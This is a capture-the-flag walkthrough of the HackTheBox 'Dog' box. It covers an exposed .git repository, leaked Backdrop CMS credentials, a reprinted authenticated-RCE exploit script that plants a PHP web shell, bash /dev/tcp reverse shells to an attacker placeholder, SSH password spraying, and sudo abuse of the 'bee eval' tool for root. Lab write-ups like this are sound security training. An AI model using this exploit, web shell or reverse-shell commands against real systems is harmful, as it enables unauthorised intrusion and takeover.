Overview

Dog is an easy box from HackTheBox that focuses on web application vulnerabilities, specifically a misconfigured Git repository and a vulnerable Backdrop CMS. We start by discovering an exposed .git directory, which allows us to dump the repository and uncover database credentials. These credentials lead to an authenticated web panel, where we exploit a known Remote Code Execution (RCE) vulnerability in Backdrop CMS to gain an initial shell as www-data. For privilege escalation, we discover that a user (johncusack) can execute a PHP utility (bee) as root, which we then abuse to spawn a root shell.

Target IP 10.10.11.58

1. Reconnaissance (TA0043)

1.1. Network Scanning (T1595)

As always, we start with an nmap scan to see what services are running on the target.

0xblivion@dog: ~

root@0xblivion:~# sudo nmap -sVC -oA nmap/dog 10.10.11.58 -vv
# Nmap 7.95 scan initiated Wed Jul  2 16:25:44 2025 as: /usr/lib/nmap/nmap -sVC -oA nmap/dog -vv 10.10.11.58
Nmap scan report for 10.10.11.58
Host is up, received echo-reply ttl 63 (0.055s latency).
Scanned at 2025-07-02 16:25:44 EDT for 9s
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 97:2a:d2:2c:89:8a:d3:ed:4d:ac:00:d2:1e:87:49:a7 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDEJsqBRTZaxqvLcuvWuqOclXU1uxwUJv98W1TfLTgTYqIBzWAqQR7Y6fXBOUS6FQ9xctARWGM3w3AeDw+MW0j+iH83gc9J4mTFTBP8bXMgRqS2MtoeNgKWozPoy6wQjuRSUammW772o8rsU2lFPq3fJCoPgiC7dR4qmrWvgp5TV8GuExl7WugH6/cTGrjoqezALwRlKsDgmAl6TkAaWbCC1rQ244m58ymadXaAx5I5NuvCxbVtw32/eEuyqu+bnW8V2SdTTtLCNOe1Tq0XJz3mG9rw8oFH+Mqr142h81jKzyPO/YrbqZi2GvOGF+PNxMg+4kWLQ559we+7mLIT7ms0esal5O6GqIVPax0K21+GblcyRBCCNkawzQCObo5rdvtELh0CPRkBkbOPo4CfXwd/DxMnijXzhR/lCLlb2bqYUMDxkfeMnmk8HRF+hbVQefbRC/+vWf61o2l0IFEr1IJo3BDtJy5m2IcWCeFX3ufk5Fme8LTzAsk6G9hROXnBZg8=
|   256 27:7c:3c:eb:0f:26:e9:62:59:0f:0f:b1:38:c9:ae:2b (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBM/NEdzq1MMEw7EsZsxWuDa+kSb+OmiGvYnPofRWZOOMhFgsGIWfg8KS4KiEUB2IjTtRovlVVot709BrZnCvU8Y=
|   256 93:88:47:4c:69:af:72:16:09:4c:ba:77:1e:3b:3b:eb (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPMpkoATGAIWQVbEl67rFecNZySrzt944Y/hWAyq4dPc
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| http-git: 
|   10.10.11.58:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: todo: customize url aliases.  reference:https://docs.backdro...
|_http-generator: Backdrop CMS 1 (https://backdropcms.org)
|_http-title: Home | Dog
| http-robots.txt: 22 disallowed entries 
| /core/ /profiles/ /README.md /web.config /admin 
| /comment/reply /filter/tips /node/add /search /user/register 
| /user/password /user/login /user/logout /?q=admin /?q=comment/reply 
| /?q=filter/tips /?q=node/add /?q=search /?q=user/password 
|_/?q=user/register /?q=user/login /?q=user/logout
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-favicon: Unknown favicon MD5: 3836E83A3E835A26D789DDA9E78C5510
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jul  2 16:25:53 2025 -- 1 IP address (1 host up) scanned in 9.54 seconds

From the Nmap output, we see an open SSH port (22/tcp) and an HTTP server (80/tcp) running Apache. The HTTP server reveals a .git/ directory, which is a big deal, and also identifies the web application as Backdrop CMS.


2. Initial Access (TA0001)

2.1. Web Enumeration and Git Exposure (T1590)

We’ll run gobuster in the background to discover more directories and files on the web server.

0xblivion@dog: ~

root@0xblivion:~# gobuster dir -u http://10.10.11.58/ -w /opt/SecLists/Discovery/Web-Content/raft-medium-words.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.11.58/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /opt/SecLists/Discovery/Web-Content/raft-medium-words.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/modules              (Status: 301) [Size: 312] [--> http://10.10.11.58/modules/]
/.php                 (Status: 403) [Size: 276]
/.html                (Status: 403) [Size: 276]
/themes               (Status: 301) [Size: 311] [--> http://10.10.11.58/themes/]
/.htm                 (Status: 403) [Size: 276]
/files                (Status: 301) [Size: 310] [--> http://10.10.11.58/files/]
/sites                (Status: 301) [Size: 310] [--> http://10.10.11.58/sites/]
/core                 (Status: 301) [Size: 309] [--> http://10.10.11.58/core/]
/.htaccess            (Status: 403) [Size: 276]
/.phtml               (Status: 403) [Size: 276]
/layouts              (Status: 301) [Size: 312] [--> http://10.10.11.58/layouts/]
/.htc                 (Status: 403) [Size: 276]
/.html_var_DE         (Status: 403) [Size: 276]
/server-status        (Status: 403) [Size: 276]
/.htpasswd            (Status: 403) [Size: 276]
/.git                 (Status: 301) [Size: 309] [--> http://10.10.11.58/.git/]
/.html.               (Status: 403) [Size: 276]
/.html.html           (Status: 403) [Size: 276]
/.htpasswds           (Status: 403) [Size: 276]
/.htm.                (Status: 403) [Size: 276]
/.htmll               (Status: 403) [Size: 276]
/.phps                (Status: 403) [Size: 276]
/.html.old            (Status: 403) [Size: 276]
/.ht                  (Status: 403) [Size: 276]
/.html.bak            (Status: 403) [Size: 276]
/.htm.htm             (Status: 403) [Size: 276]
/.hta                 (Status: 403) [Size: 276]
/.htgroup             (Status: 403) [Size: 276]
/.html1               (Status: 403) [Size: 276]
/.html.LCK            (Status: 403) [Size: 276]
/.html.printable      (Status: 403) [Size: 276]
/.htm.LCK             (Status: 403) [Size: 276]
/.htaccess.bak        (Status: 403) [Size: 276]
/.html.php            (Status: 403) [Size: 276]
/.htmls               (Status: 403) [Size: 276]
/.htx                 (Status: 403) [Size: 276]
/.htlm                (Status: 403) [Size: 276]
/.htm2                (Status: 403) [Size: 276]
/.html-               (Status: 403) [Size: 276]
/.htuser              (Status: 403) [Size: 276]
/.htacess             (Status: 403) [Size: 276]
/.htm.d               (Status: 403) [Size: 276]
/.htm.html            (Status: 403) [Size: 276]
/.htm.old             (Status: 403) [Size: 276]
/.html-1              (Status: 403) [Size: 276]
/.html.orig           (Status: 403) [Size: 276]
/.html.sav            (Status: 403) [Size: 276]
/.html_               (Status: 403) [Size: 276]
/.html_files          (Status: 403) [Size: 276]
/.htmlpar             (Status: 403) [Size: 276]
/.htmlprint           (Status: 403) [Size: 276]
/.hts                 (Status: 403) [Size: 276]
Progress: 63088 / 63089 (100.00%)
===============================================================
Finished
===============================================================

The gobuster scan confirms the presence of the .git directory, which was also found by Nmap. Since Backdrop CMS is open-source, we’ll focus on the .git directory for potential information disclosure.

We’ll use git-dumper to extract the contents of the .git repository from the web server.

0xblivion@dog: ~

root@0xblivion:~# mkdir git-dump; git-dumper http://10.10.11.58/ git-dump/
[~] Testing http://10.10.11.58/.git/HEAD [200]
[~] Testing http://10.10.11.58/.git/ [200]
[~] Fetching .git recursively
[~] Fetching http://10.10.11.58/.gitignore [404]
[~] http://10.10.11.58/.gitignore responded with status code 404
[~] Fetching http://10.10.11.58/.git/ [200]
[~] Fetching http://10.10.11.58/.git/objects/ [200]
[~] Fetching http://10.10.11.58/.git/HEAD [200]
[~] Fetching http://10.10.11.58/.git/COMMIT_EDITMSG [200]
[~] Fetching http://10.10.11.58/.git/config [200]
[~] Fetching http://10.10.11.58/.git/branches/ [200]
[~] Fetching http://10.10.11.58/.git/hooks/ [200]
[~] Fetching http://10.10.11.58/.git/description [200]
[~] Fetching http://10.10.11.58/.git/logs/ [200]
[~] Fetching http://10.10.11.58/.git/refs/ [200]
...SNIP..

2.2. Credential Discovery from Git (T1555)

Within the dumped .git repository, I found a settings.php file in the root directory that contains database credentials.

0xblivion@dog: ~

root@0xblivion:~# head -n 16 settings.php
<?php
/**
 * @file
 * Main Backdrop CMS configuration file.
 */

/**
 * Database configuration:
 *
 * Most sites can configure their database by entering the connection string
 * below. If using primary/replica databases or multiple connections, see the
 * advanced database documentation at
 * https://api.backdropcms.org/database-configuration
 */
$database = 'mysql://root:BackDropJ2024DS2024@127.0.0.1/backdrop';
$database_prefix = '';

The credentials found are root:BackDropJ2024DS2024.

I tried to log in to the website’s admin panel using these credentials, but root was not a valid username.

2.3. Finding a Valid User

I used grep to recursively search for strings containing dog.htb within the dumped Git repository, hoping to find valid usernames.

0xblivion@dog: ~

root@0xblivion:~# grep -Ri dog.htb
files/config_83dddd18e1ec67fd8ff5bba2453c7fb3/active/update.settings.json:        "tiffany@dog.htb"
.git/logs/HEAD:0000000000000000000000000000000000000000 8204779c764abd4c9d8d95038b6d22b6a7515afa root  1738963331 +0000    commit (initial): todo: customize url aliases. reference:https://docs.backdropcms.org/documentation/url-aliases
.git/logs/refs/heads/master:0000000000000000000000000000000000000000 8204779c764abd4c9d8d95038b6d22b6a7515afa root  1738963331 +0000       commit (initial): todo: customize url aliases. reference:https://docs.backdropcms.org/documentation/url-aliases

We found a potential username: tiffany@dog.htb.

0xblivion@dog: ~

root@0xblivion:~# echo "10.10.11.58 dog.htb" | sudo tee -a /etc/hosts

Using tiffany as the username and BackDropJ2024DS2024 as the password, I was able to log into the Backdrop CMS admin panel.

2.4. Authenticated RCE in Backdrop CMS (T1190)

Now that we have authenticated access to the Backdrop CMS admin panel, we’ll look for a way to gain a shell. I searched for exploits related to “Backdrop CMS” and found an authenticated RCE exploit on exploit-db.

The exploit script generates a malicious module (shell.zip) that can be uploaded to the CMS.

#!/usr/bin/env python3
# Exploit Title: Backdrop CMS 1.27.1 - Authenticated Remote Command Execution (RCE)
# Date: 04/27/2024
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor Homepage: https://backdropcms.org/
# Software Link: https://github.com/backdrop/backdrop/releases/download/1.27.1/backdrop.zip
# Version: latest
# Tested on: MacOS

import os
import time
import zipfile

def create_files():
    info_content = """
    type = module
    name = Block
    description = Controls the visual building blocks a page is constructed
    with. Blocks are boxes of content rendered into an area, or region, of a
    web page.
    package = Layouts
    tags[] = Blocks
    tags[] = Site Architecture
    version = BACKDROP_VERSION
    backdrop = 1.x

    configure = admin/structure/block

    ; Added by Backdrop CMS packaging script on 2024-03-07
    project = backdrop
    version = 1.27.1
    timestamp = 1709862662
    """
    shell_info_path = "shell/shell.info"
    os.makedirs(os.path.dirname(shell_info_path), exist_ok=True)  # Klasörüoluşturur
    with open(shell_info_path, "w") as file:
        file.write(info_content)

    shell_content = """
    <html>
    <body>
    <form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
    <input type="TEXT" name="cmd" autofocus id="cmd" size="80">
    <input type="SUBMIT" value="Execute">
    </form>
    <pre>
    <?php
    if(isset($_GET['cmd']))
    {
    system($_GET['cmd']);
    }
    ?>
    </pre>
    </body>
    </html>
    """
    shell_php_path = "shell/shell.php"
    with open(shell_php_path, "w") as file:
        file.write(shell_content)
    return shell_info_path, shell_php_path

def create_zip(info_path, php_path):
    zip_filename = "shell.zip"
    with zipfile.ZipFile(zip_filename, 'w') as zipf:
        zipf.write(info_path, arcname='shell/shell.info')
        zipf.write(php_path, arcname='shell/shell.php')
    return zip_filename

def main(url):
    print("Backdrop CMS 1.27.1 - Remote Command Execution Exploit")
    time.sleep(3)

    print("Evil module generating...")
    time.sleep(2)

    info_path, php_path = create_files()
    zip_filename = create_zip(info_path, php_path)

    print("Evil module generated!", zip_filename)
    time.sleep(2)

    print("Go to " + url + "/admin/modules/install and upload the " +
          zip_filename + " for Manual Installation.")
    time.sleep(2)

    print("Your shell address:", url + "/modules/shell/shell.php")

if __name__ == "__main__":
    import sys
    if len(sys.argv) < 2:
        print("Usage: python script.py [url]")
    else:
        main(sys.argv[1])
            

Running the Python script:

0xblivion@dog: ~

root@0xblivion:~# ./exploit.py http://10.10.11.58/
Backdrop CMS 1.27.1 - Remote Command Execution Exploit
Evil module generating...
Evil module generated! shell.zip
Go to http://10.10.11.58//admin/modules/install and upload the shell.zip for Manual Installation.
Your shell address: http://10.10.11.58//modules/shell/shell.php

The script instructs us to upload shell.zip via the “Manual Installation” option in the CMS admin panel (http://dog.htb/admin/modules/install).

Functionality > Install new modules > Manual Installation

However, the CMS only accepts .tar.gz files for manual installation. We need to compress the shell/ directory generated by the script into a .tar.gz archive.

0xblivion@dog: ~

root@0xblivion:~# tar -czf shell.tar.gz shell/
root@0xblivion:~# ls
shell  shell.tar.gz  shell.zip  exploit.py  git-dump

Now, we can upload shell.tar.gz through the “Manual installation” page.

After successful installation, I can access my web shell at http://dog.htb/modules/shell/shell.php.

The web shell confirms we are running as the www-data user. We’ll use a reverse shell to get a more stable connection.

bash -c 'bash -i >& /dev/tcp/<YOUR IP>/<PORT> 0>&1'

On our attacking machine, we set up a netcat listener:

0xblivion@dog: ~

root@0xblivion:~# nc -lnvp 9001
listening on [any] 9001 ...
connect to [10.10.15.7] from (UNKNOWN) [10.10.11.58] 54688
bash: cannot set terminal process group (929): Inappropriate ioctl for device
bash: no job control in this shell
www-data@dog:/var/www/html/modules/shell$ 

We upgrade the shell to an interactive TTY:

0xblivion@dog: ~

www-data@dog:/var/www/html/modules/shell$ script -q /dev/null -c bash

Then, CTRL+Z to background the shell, followed by stty raw -echo; fg and pressing Enter twice.

0xblivion@dog: ~

stty raw -echo; fg
[2]  - continued  nc -lnvp 9001

www-data@dog:/var/www/html/modules/shell$

We also adjust the TTY dimensions for better usability:

0xblivion@dog: ~

root@0xblivion:~# stty -a
speed 38400 baud; rows 45; columns 238; line = 0;
intr = ^C; quit = ^\; erase = ^?; kill = ^U; eof = ^D; eol = ; eol2 = ; swtch = ; start = ^Q; stop = ^S; susp = ^Z; rprnt = ^R; werase = ^W; lnext = ^V; discard = ^O; min = 1; time = 0;
-parenb -parodd -cmspar cs8 -hupcl -cstopb cread -clocal -crtscts
-ignbrk -brkint -ignpar -parmrk -inpck -istrip -inlcr -igncr icrnl ixon -ixoff -iuclc -ixany -imaxbel iutf8
opost -olcuc -ocrnl onlcr -onocr -onlret -ofill -ofdel nl0 cr0 tab0 bs0 vt0 ff0
isig icanon iexten echo echoe echok -echonl -noflsh -xcase -tostop -echoprt echoctl echoke -flusho -extproc

0xblivion@dog: ~

www-data@dog:/var/www/html/modules/shell$ stty rows 45 cols 238
Actually, you don’t need to do this step since you can just find a user through the webshell.

3. Privilege Escalation (TA0004)

3.1. User Enumeration and Lateral Movement via SSH (T1021.004)

Now that we have a stable shell, we enumerate local users on the system.

0xblivion@dog: ~

www-data@dog:/var/www/html/modules/shell$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
jobert:x:1000:1000:jobert:/home/jobert:/bin/bash
johncusack:x:1001:1001:,,,:/home/johncusack:/bin/bash

We found three users with shell access: root, jobert, and johncusack. We’ll save these usernames to users.txt.

I used netexec to spray the database password (BackDropJ2024DS2024) against these users for SSH:

0xblivion@dog: ~

root@0xblivion:~# nxc ssh 10.10.11.58 -u users.txt -p 'BackDropJ2024DS2024' --continue-on-success
SSH         10.10.11.58     22     10.10.11.58      [*] SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.12
SSH         10.10.11.58     22     10.10.11.58      [-] jobert:BackDropJ2024DS2024
SSH         10.10.11.58     22     10.10.11.58      [+] johncusack:BackDropJ2024DS2024  Linux - Shell access!

The johncusack user’s password is BackDropJ2024DS2024. I can now SSH into the box as johncusack.

0xblivion@dog: ~

root@0xblivion:~# ssh johncusack@dog.htb
The authenticity of host 'dog.htb (10.10.11.58)' can't be established.
ED25519 key fingerprint is SHA256:M3A+wMdtWP0tBPvp9OcRf6sPPmPmjfgNphodr912r1o.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:6: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'dog.htb' (ED25519) to the list of known hosts.
johncusack@dog.htb's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-208-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Wed 02 Jul 2025 09:26:21 PM UTC

  System load:           0.0
  Usage of /:            50.9% of 6.32GB
  Memory usage:          26%
  Swap usage:            0%
  Processes:             244
  Users logged in:       0
  IPv4 address for eth0: 10.10.11.58
  IPv6 address for eth0: dead:beef::250:56ff:feb0:b9d2


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Tue Mar 4 17:04:29 2025 from 10.10.15.7
johncusack@dog:~$

We are now logged in as johncusack. We can find the user flag in the home directory.

0xblivion@dog: ~

johncusack@dog:~$ ls
user.txt
johncusack@dog:~$ cat user.txt 
d305454bc5a53fb01aec080ec3a2ee33

User flag: d305454bc5a53fb01aec080ec3a2ee33

3.2. Sudo Abuse for Root (T1548.003)

I check sudo -l to see what commands johncusack can run with sudo privileges.

0xblivion@dog: ~

johncusack@dog:~$ sudo -l
[sudo] password for johncusack: 
Matching Defaults entries for johncusack on dog:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User johncusack may run the following commands on dog:
    (ALL : ALL) /usr/local/bin/bee

The user johncusack can execute /usr/local/bin/bee as root. I inspect the bee file.

0xblivion@dog: ~

johncusack@dog:~$ file /usr/local/bin/bee
/usr/local/bin/bee: symbolic link to /backdrop_tool/bee/bee.php

It’s a symbolic link to /backdrop_tool/bee/bee.php. We can view the contents of bee.php:

#!/usr/bin/env php
<?php
/**
 * @file
 * A command line utility for Backdrop CMS.
 */

// Exit gracefully with a meaningful message if installed within a web
// accessible location and accessed in the browser.
if (!bee_is_cli()) {
  echo bee_browser_load_html();
  die();
}

// Set custom error handler.
set_error_handler('bee_error_handler');

// Include files.
require_once __DIR__ . '/includes/miscellaneous.inc';
require_once __DIR__ . '/includes/command.inc';
require_once __DIR__ . '/includes/render.inc';
require_once __DIR__ . '/includes/filesystem.inc';
require_once __DIR__ . '/includes/input.inc';
require_once __DIR__ . '/includes/globals.inc';

// Main execution code.
bee_initialize_server();
bee_parse_input();
bee_initialize_console();
bee_process_command();
bee_print_messages();
bee_display_output();
exit();

/**
 * Custom error handler for `bee`.
 *
 * @param int $error_level
 *   The level of the error.
 * @param string $message
 *   Error message to output to the user.
 * @param string $filename
 *   The file that the error came from.
 * @param int $line
 *   The line number the error came from.
 * @param array $context
 *   An array of all variables from where the error was triggered.
 *
 * @see https://www.php.net/manual/en/function.set-error-handler.php
 * @see _backdrop_error_handler()
 */
function bee_error_handler($error_level, $message, $filename, $line, array $context = NULL) {
  require_once __DIR__ . '/includes/errors.inc';
  _bee_error_handler_real($error_level, $message, $filename, $line, $context);
}

/**
 * Detects whether the current script is running in a command-line environment.
 */
function bee_is_cli() {
  return (empty($_SERVER['SERVER_SOFTWARE']) && (php_sapi_name() == 'cli' || (is_numeric($_SERVER['argc']) && $_SERVER['argc'] > 0)));
}

/**
 * Return the HTML to display if this page is loaded in the browser.
 *
 * @return string
 *   The concatentated html to display.
 */
function bee_browser_load_html() {
  // Set the title to use in h1 and title elements.
  $title = "Bee Gone!";
  // Place a white block over "#!/usr/bin/env php" as this is output before
  // anything else.
  $browser_output = "<div style='background-color:white;position:absolute;width:15rem;height:3rem;top:0;left:0;z-index:9;'>&nbsp;</div>";
  // Add the bee logo and style appropriately.
  $browser_output .= "<img src='./images/bee.png' align='right' width='150' height='157' style='max-width:100%;margin-top:3rem;'>";
  // Add meaningful text.
  $browser_output .= "<h1 style='font-family:Tahoma;'>$title</h1>";
  $browser_output .= "<p style='font-family:Verdana;'>Bee is a command line tool only and will not work in the browser.</p>";
  // Add the document title using javascript when the window loads.
  $browser_output .= "<script>window.onload = function(){document.title='$title';}</script>";
  // Output the combined string.
  return $browser_output;
}

I check the bee command’s eval functionality:

0xblivion@dog: ~

johncusack@dog:~$ sudo bee help eval
eval, ev, php-eval
Evaluate (run/execute) arbitrary PHP code after bootstrapping Backdrop.

Arguments:
 code
 The PHP code to evaluate.

Examples:
 bee eval '$node = node_load(1); print $node->title;'
 Loads node with nid 1 and then prints its title.

 bee eval "node_access_rebuild();"
 Rebuild node access permissions.

 bee eval "file_unmanaged_copy('$HOME/Pictures/image.jpg', 'public://image.jpg');"
 Copies a file whose path is determined by an environment's variable. Note the use of double quotes so the variable $HOME gets replaced by its value.

The bee command has an eval subcommand that allows us to execute arbitrary PHP code. To use it correctly, I need to specify the --root parameter pointing to the web root (/var/www/html). I can use this to spawn a root shell.

0xblivion@dog: ~

johncusack@dog:~$ sudo /usr/local/bin/bee --root=/var/www/html eval "system('/bin/bash -i');"

root@dog:/var/www/html#

Or, if you need a reverse shell back to your machine (replace <ATTACKER_IP> and <PORT>):

0xblivion@dog: ~

johncusack@dog:~$ sudo /usr/local/bin/bee --root=/var/www/html eval \
  "system('bash -i >& /dev/tcp/<IP>/<PORT> 0>&1');"

Get the root.txt

0xblivion@dog: ~

root@dog:/var/www/html# id
uid=0(root) gid=0(root) groups=0(root)

root@dog:/var/www/html# cat /root/root.txt
83970a2d7e6797bf5f32b7a915dad3f7

Root flag: 83970a2d7e6797bf5f32b7a915dad3f7